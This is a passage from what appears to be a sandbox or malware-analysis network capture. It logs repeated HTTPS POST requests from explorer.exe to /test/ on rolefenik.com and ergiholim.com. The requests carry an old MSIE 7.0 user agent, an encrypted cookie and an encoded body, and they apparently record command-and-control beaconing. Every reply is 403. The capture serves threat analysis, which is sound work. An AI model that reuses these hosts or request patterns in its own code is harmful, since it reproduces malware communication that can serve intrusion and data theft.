MSIE and Ch
2024-11-13 17:22:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50038	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:45 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:45 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:46 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8irEKmTOZqI9GT1%2Fi4ivCm1%2FktY1QM9j4E058tFjJ0meN69YUCrFbVXJ%2FFKaBb1aYaJKnm2Gsyzy5E0zTukDsKaagc6WoDNnu2tWqXD09KBYnigAheRaAnsFRVb2Ff2y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20721b88ea685a-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=171015&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20061&cwnd=32&unsent_bytes=0&cid=7a1ede1f5e5229a1&ts=793&x=0"
2024-11-13 17:22:46 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50039	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:47 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:47 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:47 UTC	743	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OHaq2CNWANcNurjJGs9Ja4p6dtRPGMa5spfj5lRTwUJyuz71DOdOo6HeirIlMkjM3PKe1s9CqosLR0VE8DdQkonFPMKZGIjQOc9kknnfw0viXYPA%2BZXfjCVvlkQHeMia"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072248c38fa05-SJC alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=41184&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=70223&cwnd=32&unsent_bytes=0&cid=0e647d344df4be39&ts=494&x=0"
2024-11-13 17:22:47 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50040	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:48 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:48 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:48 UTC	747	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d2UylY2yyLd8krg4QAWQA7%2FMpDEEDflZiGfmWW2%2FUGhAsHGoDq0kxc4N8Y6sMvVX8J42CceKjFqTF5%2Fy6nLzUK2mSMFfwmYHkYYsN7rarGwUlDNFUZCjC0C3w03AelW6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20722c09d3c997-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=38217&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=75835&cwnd=32&unsent_bytes=0&cid=fac6eaae224df6ed&ts=378&x=0"
2024-11-13 17:22:48 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50041	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:49 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:49 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:50 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kyUeVC7pn%2BgIuEr6wGwsbUPMkVimrai8OwfULubgUOjsW13vRpxADbw2DUgMQcaVovQdwKkBdGR%2Fqmkh5dt83t8UWvd%2BdAPonVy3KT423bou1ZDM%2FOa8R%2FCVn4nrHdB3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072346d842089-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=158042&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=20104&cwnd=32&unsent_bytes=0&cid=37b8b5597b73db18&ts=826&x=0"
2024-11-13 17:22:50 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50042	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:51 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:51 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:51 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u1D%2B2uFAu8wuBJoGf8cRuydwJSBoEZK%2BfqDJsqohKH%2BtBflxiouudMXTOXtKuBeulOwApCadRnzy9AUwEbhRI5T4Dph6imPDsooD1kCVYsoPqsCRLct5Dw8uQiCWcCwH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20723f7ccfd773-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=149219&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=18709&cwnd=32&unsent_bytes=0&cid=9e747e29bab49cac&ts=533&x=0"
2024-11-13 17:22:51 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50043	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:52 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:52 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:52 UTC	749	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=00Cl7wKBZ7yV9cbh0d4dK5aSn4k9yT1wMhtcNQ7RqPFHdpq9f9Ahf%2FdZH1bUTbutbKDy3nFHEnSIHcQ%2FFl1STYfj5O39yCLkrTb4SKd6Rw%2Fr0GLwMvrgOe0DBVXR3Wz1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207246286f2c86-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1512&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=2023759&cwnd=235&unsent_bytes=0&cid=330b978d0d1a4d06&ts=309&x=0"
2024-11-13 17:22:52 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50044	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:53 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:53 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:54 UTC	746	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6cIsHCbJE1VTrBXvCfTIouycG0j8PfXHS8JKqwP5QVmLktwEth5RAJUIcUJKCpomc%2Bd0yLm7xrI6XzMXVyfKDIUx%2FUGD0ZXYoYuOf09XFVDay3AdeFLOrf13bHMQYbhA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20724ebc837372-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=166823&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=14790&cwnd=32&unsent_bytes=0&cid=00d9681dae08b3b4&ts=582&x=0"
2024-11-13 17:22:54 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50045	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:55 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
